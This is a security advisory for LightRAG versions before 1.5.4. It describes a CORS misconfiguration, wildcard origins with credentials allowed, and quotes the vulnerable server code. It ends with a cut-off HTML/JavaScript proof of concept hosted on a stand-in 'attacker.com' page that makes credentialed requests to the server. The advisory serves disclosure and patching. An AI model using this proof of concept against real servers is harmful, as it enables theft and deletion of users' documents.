Affected: HKUDS LightRAG

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.4, the server defaults to CORS_ORIGINS=* combined with allow_credentials=True in lightrag/api/lightrag_server.py, causing Starlette CORSMiddleware to effectively whitelist every origin for credentialed cross-origin requests. Any malicious website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating documents and knowledge graph data or performing destructive actions such as deleting the document store. This vulnerability is fixed in 1.5.4.

Affected: PyPI: lightrag-hku

### Summary The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

### Details

```python # lightrag/api/config.py:639 args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard

# lightrag/api/lightrag_server.py:1379 app.add_middleware( CORSMiddleware, allow_origins=["*"], # any origin allow_credentials=True, # credentials — PROBLEM with wildcard allow_methods=["*"], allow_headers=["*"], )

# Starlette CORSMiddleware (confirmed in source): # preflight_explicit_allow_origin = not allow_all_origins or allow_credentials # = not True or True = True → echoes the requesting origin back, not "*" # Result: every origin receives Access-Control-Allow-Credentials: true ```

### PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

```html <!-- attacker.com/steal.html --> <script> const TARGET = "http://lightrag-server:9621"; (async () => { // Get victim token (or re-use existing session) const r1 = await fetch(`${TARGET}/login`, { method: "POST", credentials: "include", headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: "username=victim&password=known_pass" }); const { access…